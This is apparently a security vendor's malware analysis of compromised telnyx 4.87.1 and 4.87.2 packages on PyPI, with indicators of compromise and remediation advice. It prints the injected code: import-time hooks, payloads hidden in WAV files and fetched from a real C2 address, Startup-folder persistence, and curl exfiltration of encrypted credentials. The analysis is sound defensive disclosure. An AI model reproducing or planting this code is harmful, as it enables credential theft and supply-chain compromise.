Compromised telnyx on PyPI: WAV Steganography and Credential Theft
Table of Contents
TL;DR
Two versions of telnyx (4.87.1 and 4.87.2) published to PyPI on March 27, 2026 contain malicious code injected into telnyx/_client.py. The telnyx package averages over 1 million downloads per month (~30,000/day), making this a high-impact supply chain compromise. The payload downloads a second-stage binary hidden inside WAV audio files from a remote server, then either drops a persistent executable on Windows or harvests credentials on Linux/macOS. Stolen data is encrypted with AES-256-CBC and a hardcoded RSA-4096 public key before exfiltration. The RSA key and operational patterns are identical to the litellm PyPI compromise, attributing this attack to TeamPCP with high confidence.
Impact:
- Downloads and executes arbitrary binaries disguised inside WAV audio files (steganography)
- On Windows: drops a persistent executable as
msbuild.exein the Startup folder - On Linux/macOS: harvests credentials, encrypts them with AES-256-CBC + RSA-4096, and exfiltrates via HTTP POST
- Executes automatically on
import telnyxwith no user interaction required
Indicators of Compromise (IoC):
- Packages:
telnyx==4.87.1(SHA256:7321caa303fe96ded0492c747d2f353c4f7d17185656fe292ab0a59e2bd0b8d9),telnyx==4.87.2(SHA256:cd08115806662469bbedec4b03f8427b97c8a4b3bc1442dc18b72b4e19395fe3) - C2 server:
83[.]142[.]209[.]203:8080 - Payload URLs:
hxxp://83[.]142[.]209[.]203:8080/ringtone.wav(Linux/macOS),hxxp://83[.]142[.]209[.]203:8080/hangup.wav(Windows) - Windows persistence:
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe - Exfiltration header:
X-Filename: tpcp.tar.gz
Analysis
Package Overview
telnyx is an official Python SDK for the Telnyx communications API, used for programmable telephony, messaging, and networking. The package is published to PyPI under the maintainer email Telnyx <[email protected]>.
On March 27, 2026, a security issue was filed reporting that versions 4.87.1 and 4.87.2 contained injected code not present in the GitHub source repository. The last clean version, 4.87.0, has a corresponding GitHub release tag (v4.87.0, published March 26). Neither 4.87.1 nor 4.87.2 has a corresponding release or tag, indicating the PyPI publishing credentials were compromised.
This is the same attack pattern seen in the litellm compromise: the attacker publishes a trojaned version directly to PyPI using stolen credentials while the source repository remains clean. The GitHub source is not a typosquat: package metadata (author, homepage, dependencies) is identical to the legitimate project.
The only modified file across both malicious versions is telnyx/_client.py. Exactly 74 lines of malicious code were injected: imports at the top of the file, a base64-encoded payload variable in the middle, and attack functions appended after the legitimate class definitions.
Root Cause Analysis
The GitHub repository shows no signs of compromise. Querying the repository event timeline shows all recent push events originate from stainless-app[bot], the Stainless SDK code generation platform that manages the entire CI/CD pipeline:
$ gh api "repos/team-telnyx/telnyx-python/events?per_page=100" --paginate \ | jq -r '.[] | select(.type=="PushEvent") | [.created_at, .actor.login, .payload.ref] | @tsv' | tail -102026-03-26T19:24:58Z stainless-app[bot] refs/heads/release-please-...2026-03-26T19:25:26Z stainless-app[bot] refs/heads/release-please-...2026-03-26T19:27:31Z stainless-app[bot] refs/heads/master2026-03-26T19:27:54Z stainless-app[bot] refs/heads/next2026-03-26T19:28:34Z stainless-app[bot] refs/heads/generated2026-03-27T00:01:28Z stainless-app[bot] refs/heads/generated2026-03-27T00:01:30Z stainless-app[bot] refs/heads/next2026-03-27T00:01:51Z stainless-app[bot] refs/heads/release-please-...2026-03-27T00:22:36Z stainless-app[bot] refs/heads/generated2026-03-27T00:22:38Z stainless-app[bot] refs/heads/nextNo force pushes, no unknown actors, no suspicious PRs from external contributors. Neither v4.87.1 nor v4.87.2 has a corresponding GitHub release or tag:
$ gh api "repos/team-telnyx/telnyx-python/git/ref/tags/v4.87.1" 2>/dev/null# 404 Not Found
$ gh api "repos/team-telnyx/telnyx-python/git/ref/tags/v4.87.2" 2>/dev/null# 404 Not FoundThe Publish PyPI workflow ran successfully for v4.87.0 on March 26 and has not run since. The malicious versions were uploaded directly to PyPI, bypassing GitHub Actions entirely:
$ gh api "repos/team-telnyx/telnyx-python/actions/workflows/publish-pypi.yml/runs?per_page=5" \ --jq '.workflow_runs[] | [.created_at, .event, .head_branch, .conclusion] | @tsv'2026-03-26T19:27:42Z release v4.87.0 success2026-03-25T17:02:25Z release v4.86.1 success2026-03-24T21:33:31Z release v4.86.0 success2026-03-24T20:46:38Z release v4.85.0 success2026-03-24T17:23:03Z release v4.84.0 successNo publish run for v4.87.1 or v4.87.2. No workflow_dispatch (manual) runs exist either.
The upload tool fingerprint confirms this. The PyPI metadata for v4.87.2 shows twine/6.2.0 CPython/3.14.3 as the upload client. The legitimate CI pipeline uses rye publish (Rye 0.44.0), which produces a different fingerprint:
# bin/publish-pypi (what the CI pipeline runs)rye publish --yes --token=$PYPI_TOKEN# PyPI metadata for v4.87.2 (what actually uploaded the malicious version)Uploaded via: twine/6.2.0 CPython/3.14.3This tool mismatch is evidence that the attacker uploaded the malicious wheels manually using a stolen API token, not through the repository’s automated release process.
The publishing workflow uses a static PyPI API token stored as a GitHub Actions secret:
env: PYPI_TOKEN: ${{ secrets.TELNYX_PYPI_TOKEN || secrets.PYPI_TOKEN }}No PyPI trusted publisher (OIDC) is configured. Trusted publishers bind PyPI uploads to a specific GitHub repository and workflow, making stolen tokens useless outside that context. Without this protection, anyone with the API token can upload any version from any machine.
We checked for workflow-level credential exposure. The repository does not use Trivy or any other security scanning tool that was compromised in the earlier TeamPCP campaign:
$ gh search code "trivy" --repo team-telnyx/telnyx-python# No resultsThe release-doctor.yml workflow uses pull_request (not pull_request_target), so fork PRs cannot access secrets. No workflow-level credential exposure was identified.
The most likely scenario is that the PYPI_TOKEN was obtained through a prior credential harvesting operation. TeamPCP’s campaign has demonstrated the ability to steal CI/CD secrets from compromised environments: the litellm compromise was traced to a poisoned Trivy binary that exfiltrated PYPI_PUBLISH_PASSWORD from CI runners. A similar credential theft, whether from a compromised CI tool, a developer workstation, or a third-party service with access to the token, is the probable vector here.
Payload Analysis
Warning: All analysis below was conducted inside an isolated container used as a filesystem sandbox. Do not execute any code from the malicious package on a host system. Download and extract only; never
pip installthe compromised wheel.
We downloaded the malicious wheels and the last known clean version directly from PyPI without installing them. The artifact URLs were obtained from the SafeDep community API:
# Malicious versionscurl -sL -o telnyx-4.87.1.whl \ "https://files.pythonhosted.org/packages/83/b7/5e93f51cd157cc8cf5599f387e587a1926d50fc7e54fb76d04b342341fb0/telnyx-4.87.1-py3-none-any.whl"
curl -sL -o telnyx-4.87.2.whl \ "https://files.pythonhosted.org/packages/5a/73/87cb49434a1f89f253819b81993d3a4e65186ae08b013b9825633ceac359/telnyx-4.87.2-py3-none-any.whl"
# Last known clean versioncurl -sL -o telnyx-4.87.0.whl \ "https://files.pythonhosted.org/packages/f2/08/a03c3d158a35dc8553a5dcc3c3405bad3dd6f4ab23cb7823c9152602f7c8/telnyx-4.87.0-py3-none-any.whl"The SHA256 hashes of the downloaded artifacts match the values reported in the security issue:
7321caa303fe96ded0492c747d2f353c4f7d17185656fe292ab0a59e2bd0b8d9 telnyx-4.87.1.whlcd08115806662469bbedec4b03f8427b97c8a4b3bc1442dc18b72b4e19395fe3 telnyx-4.87.2.whlPython wheels are ZIP archives. We extracted them without installing and diffed the clean version against the malicious one. The diffstat output confirms that only a single file was modified:
telnyx/_client.py | 74 +++++++++++++++++++++++++++++++ 1 file changed, 74 insertions(+)The first hunk of the diff shows the malicious imports injected at the top of the file:
--- clean-4.87.0/telnyx/_client.py+++ mal-4.87.1/telnyx/_client.py@@ -1,12 +1,19 @@ # File generated from our OpenAPI spec by Stainless. from __future__ import annotations-+import subprocess+import tempfile+import time import os+import base64+import sys+import wave+import os from typing import TYPE_CHECKING, Any, Mapping from typing_extensions import Self, override
import httpx+import urllib.request
from . import _exceptionsThe full diff reveals 74 lines of additions across three injection points: these imports at the top, a base64-encoded payload variable in the middle (line 459), and attack functions appended after the legitimate class definitions (lines 7758 onward).
Decoding the base64-encoded strings statically (using shell tools, never executing the package) reveals the obfuscated values:
echo "QVBQREFUQQ==" | base64 -d # APPDATAecho "bXNidWlsZC5leGU=" | base64 -d # msbuild.exeecho "aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg==" | base64 -dThe _p payload variable (4,436-character base64 string at line 459) decodes to a readable 83-line credential harvesting script. The RSA public key in this decoded payload matches the key from the litellm compromise byte-for-byte, confirming shared authorship.
Comparing the two malicious versions against each other shows a single change:
--- mal-4.87.1/telnyx/_client.py+++ mal-4.87.2/telnyx/_client.py@@ -7820,6 +7820,6 @@
AsyncClient = AsyncTelnyx
-Setup()+setup()
FetchAudio()This confirms 4.87.2 is a bugfix release by the attacker, correcting the casing error that prevented the Windows payload from executing.
Execution Trigger
The malicious code executes at module scope when telnyx is imported. Two functions are called unconditionally at the bottom of _client.py:
# telnyx/_client.py (lines 7823-7825, version 4.87.2)setup()
FetchAudio()Since _client.py is imported as part of the telnyx package initialization, any code that does import telnyx triggers the payload. No explicit function call is required.
Version 4.87.1 contains a bug: the invocation at line 7823 reads Setup() (capital S) while the function is defined at line 7761 as setup() (lowercase). No other Setup identifier exists in the file. Since both calls are at module scope with no exception handling, the NameError from Setup() aborts module execution before FetchAudio() is reached. Neither attack path executes in 4.87.1. Version 4.87.2 corrects the casing, making both attack paths functional.
| Version | Windows (setup()) | Linux/macOS (FetchAudio()) |
|---|---|---|
| 4.87.1 | Broken (Setup() NameError aborts module) | Not reached |
| 4.87.2 | Functional (casing fixed) | Functional |
Malicious Imports
The attacker added seven imports at the top of the file that do not belong in an API client library:
# telnyx/_client.py (lines 4-16, injected)import subprocessimport tempfileimport timeimport osimport base64import sysimport wave...import urllib.requestThe wave import is the most distinctive: a WAV audio processing module has no legitimate purpose in an HTTP API client. It signals the steganographic payload delivery mechanism.
Base64 Helper and Payload Variable
A helper function decodes base64-encoded strings used throughout the Windows attack path:
# telnyx/_client.py (lines 41-42)def _d(s): return base64.b64decode(s).decode('utf-8')At line 459, a 4,436-character base64-encoded variable _p stores the complete Linux/macOS second-stage payload:
# telnyx/_client.py (line 459)_p = "aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHRlbXBmaWxlCmltcG9ydCBvcwppbXBvcnQgYmFzZTY0..."This variable is decoded and executed by FetchAudio() in a detached subprocess.
Windows Attack Path: setup()
The setup() function targets Windows machines. It constructs a persistence path using base64-encoded strings:
# telnyx/_client.py (lines 7761-7804)def setup(): if os.name != 'nt': return
try: p = os.path.join(os.getenv(_d('QVBQREFUQQ==')), _d('TWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVw'), _d('bXNidWlsZC5leGU='))The base64 strings decode to:
QVBQREFUQQ==→APPDATATWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVw→Microsoft\Windows\Start Menu\Programs\StartupbXNidWlsZC5leGU=→msbuild.exe
The full persistence path resolves to %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe. Executables in this directory run automatically on user login. The filename msbuild.exe mimics the legitimate Microsoft Build Engine binary, which normally lives in C:\Windows\Microsoft.NET\.
The function implements a 12-hour lockout mechanism to prevent re-downloading:
# telnyx/_client.py (lines 7773-7784) if os.path.exists(l): m_time = os.path.getmtime(l) if (time.time() - m_time) < 43200: return
with open(l, 'w') as f: f.write(str(time.time()))
try: subprocess.run(['attrib', '+h', l], capture_output=True) except: passThe lock file is hidden using the Windows attrib +h command.
It then downloads a WAV file from the C2 server, extracts a binary hidden inside the audio data using steganography, writes it to the Startup folder, and launches it:
# telnyx/_client.py (lines 7786-7801) r = urllib.request.Request( _d('aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg=='), headers={_d('VXNlci1BZ2VudA=='): _d('TW96aWxsYS81LjA=')}) with urllib.request.urlopen(r, timeout=15) as d: with open(t, "wb") as f: f.write(d.read())
with wave.open(t, 'rb') as w: b = base64.b64decode(w.readframes(w.getnframes())) s, m = b[:8], b[8:] payload = bytes([m[i] ^ s[i % len(s)] for i in range(len(m))]) with open(p, "wb") as f: f.write(payload) ... subprocess.Popen([p], creationflags=0x08000000)The URL aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg== decodes to http://83.142.209.203:8080/hangup.wav. The creationflags=0x08000000 (CREATE_NO_WINDOW) ensures the process runs without a visible console window.
WAV Steganography Mechanism
Both attack paths use the same technique to hide payloads inside WAV audio files. The extraction process:
- Download a
.wavfile from the C2 server - Read the audio frames using Python’s
wavemodule - Base64-decode the frame data (the audio samples themselves are base64-encoded data, not actual audio)
- Extract an 8-byte XOR key from the first 8 bytes of the decoded data
- XOR-decrypt the remaining bytes using the key
# Steganography extraction (both attack paths)with wave.open(wf, 'rb') as w: raw = base64.b64decode(w.readframes(w.getnframes())) s, data = raw[:8], raw[8:] payload = bytes([data[i] ^ s[i % len(s)] for i in range(len(data))])This is not true steganography in the traditional sense (hiding data in the least significant bits of audio). Instead, the attacker packs base64-encoded, XOR-encrypted payloads into a valid WAV container. The file has a legitimate WAV header and will pass basic file-type checks, but the audio frame data is entirely payload. This approach evades network security tools that inspect HTTP traffic for known malicious patterns: the downloaded file appears to be a harmless audio file.
Linux/macOS Attack Path: FetchAudio()
The FetchAudio() function targets non-Windows systems by spawning a detached subprocess that decodes and executes the _p payload:
# telnyx/_client.py (lines 7806-7817)def FetchAudio(): if os.name == 'nt': return try: subprocess.Popen( [sys.executable, "-c", f"import base64; exec(base64.b64decode('{_p}').decode())"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True ) except: passThe start_new_session=True parameter detaches the child process from the parent, so the credential theft continues even if the importing Python process exits.
Decoded Linux/macOS Payload
The _p variable decodes to an 83-line credential harvesting script. It contains the same RSA-4096 public key found in the litellm compromise:
# Decoded _p payloadPUB_KEY_CONTENT = """-----BEGIN PUBLIC KEY-----MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvahaZDo8mucujrT15ry+08qNLwm3kxzFSMj84M16lmIEeQA8u1X8DGK0EmNg7m3J6C3KzFeIzvz0UTgSq6cV...rn3JMF0xZyXNRpQ/fZZxl40CAwEAAQ==-----END PUBLIC KEY-----"""
WAV_URL = "http://83.142.209.203:8080/ringtone.wav"The audioimport() function follows a three-stage attack:
Stage 1: Download and decode a second-stage harvester from a WAV file.
# Decoded _p payloadreq = urllib.request.Request(WAV_URL, headers={'User-Agent': 'Mozilla/5.0'})with urllib.request.urlopen(req, timeout=15) as r: with open(wf, "wb") as f: f.write(r.read())
with wave.open(wf, 'rb') as w: raw = base64.b64decode(w.readframes(w.getnframes())) s, data = raw[:8], raw[8:] payload = bytes([data[i] ^ s[i % len(s)] for i in range(len(data))])The WAV from ringtone.wav is decoded and XOR-decrypted, then piped into a new Python interpreter:
# Decoded _p payloadwith open(collected, "wb") as f: subprocess.run( [sys.executable, "-"], input=payload, stdout=f, stderr=subprocess.DEVNULL, check=True )The harvester’s stdout (collected credentials) is captured to a temporary file.
Stage 2: Encrypt the collected data.
# Decoded _p payloadsubprocess.run(["openssl", "rand", "-out", sk, "32"], check=True)subprocess.run(["openssl", "enc", "-aes-256-cbc", "-in", collected, "-out", ef, "-pass", f"file:{sk}", "-pbkdf2"], check=True, stderr=subprocess.DEVNULL)subprocess.run(["openssl", "pkeyutl", "-encrypt", "-pubin", "-inkey", pk, "-in", sk, "-out", ek, "-pkeyopt", "rsa_padding_mode:oaep"], check=True, stderr=subprocess.DEVNULL)subprocess.run(["tar", "-czf", bn, "-C", d, "payload.enc", "session.key.enc"], check=True)The process generates a random 32-byte AES session key, encrypts the collected data with AES-256-CBC, then encrypts the session key with the attacker’s RSA-4096 public key using OAEP padding. Both encrypted files are bundled into a tarball.
Stage 3: Exfiltrate.
# Decoded _p payloadsubprocess.run([ "curl", "-s", "-o", "/dev/null", "-w", "%{http_code}", "-X", "POST", "http://83.142.209.203:8080/", "-H", "Content-Type: application/octet-stream", "-H", "X-Filename: tpcp.tar.gz", "--data-binary", f"@{bn}"], check=True, stderr=subprocess.DEVNULL)The tarball is exfiltrated via HTTP POST to 83[.]142[.]209[.]203:8080. The X-Filename: tpcp.tar.gz header is a TeamPCP signature, identical to the header used in the litellm attack.
Attribution to TeamPCP
This attack is attributed to TeamPCP with high confidence based on three shared indicators with the litellm compromise:
Identical RSA-4096 public key. The public key in the decoded payload (
MIICIjANBgkqhkiG9w0BAQEFAAOC...) matches byte-for-byte with the key embedded in litellm 1.82.8’s Stage 1 orchestrator. Only the holder of the corresponding private key can decrypt the exfiltrated data.tpcp.tar.gzarchive name and HTTP header. Both attacks bundle exfiltrated data astpcp.tar.gzand use theX-Filename: tpcp.tar.gzheader during exfiltration. “TPCP” stands for TeamPCP.AES-256-CBC + RSA OAEP encryption scheme via openssl CLI. The exact same sequence of
openssl rand,openssl enc -aes-256-cbc, andopenssl pkeyutl -encrypt ... -pkeyopt rsa_padding_mode:oaepcommands appear in both payloads.
The operational evolution is notable: litellm used a compromised domain (models.litellm.cloud) for C2, while telnyx uses a raw IP address (83.142.209.203). The WAV steganography technique is new to this attack and was not observed in the litellm compromise, suggesting the actor is actively developing their delivery mechanisms.
Version Progression
The two malicious versions reveal the attacker’s iteration cycle:
- 4.87.1: Initial publish. Contains a casing bug (
Setup()at line 7823 vsdef setup()at line 7761) that raises aNameErrorat module scope, preventing either attack path from executing. - 4.87.2: Published shortly after. Fixes the casing to
setup(), making both attack paths functional. No other changes between the two versions.
This quick bugfix release indicates the attacker was monitoring the payload’s behavior and corrected the error within hours.
Conclusion
The compromised telnyx 4.87.1 and 4.87.2 packages are confirmed malware. They represent a continuation of TeamPCP’s campaign of compromising PyPI publishing credentials to distribute credential-stealing payloads through legitimate packages. The WAV steganography delivery mechanism is a new technique for this actor, designed to bypass network inspection tools by disguising payloads as audio files.
Users who installed either version should rotate all credentials present in their environment variables, check the Windows Startup folder for msbuild.exe, and audit their systems for connections to 83[.]142[.]209[.]203.
Pin to telnyx==4.87.0 (or the latest known-clean version) until the maintainers confirm the compromise is resolved and publish verified clean releases. Use SafeDep vet to check packages for known malware signals before installation.
References
- pypi
- oss
- malware
- supply-chain
- telnyx
- credential-theft
- steganography
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

Malicious litellm 1.82.8: Credential Theft and Persistent Backdoor
Analysis of compromised litellm 1.82.8 on PyPI: a .pth file triggers credential theft, AWS/K8s secret exfiltration, and persistent C2 backdoor on install.

Trivy Supply Chain Compromise: What Happened, What Was Stolen, and How to Respond
A consolidated technical reference for the TeamPCP supply chain attack against Aqua Security's Trivy scanner. Covers the full attack chain from AI-assisted initial breach through credential theft,...

sl4x0 Dependency Confusion: 92 Packages Target Fortune 500
A sustained dependency confusion campaign by the sl4x0 actor likely targets 20+ organizations including Adobe, Ford, Sony, and Coca-Cola with 92+ malicious npm packages exfiltrating developer data...

Malicious npm Package react-refresh-update Drops Cross-Platform Trojan on Developer Machines
A malicious npm package impersonating react-refresh, Meta's library with 42 million weekly downloads, was detected by SafeDep. The package injects a two-layer obfuscated dropper into runtime.js that...

Ship Code
Not Malware
Install the SafeDep GitHub App to keep malicious packages out of your repos.
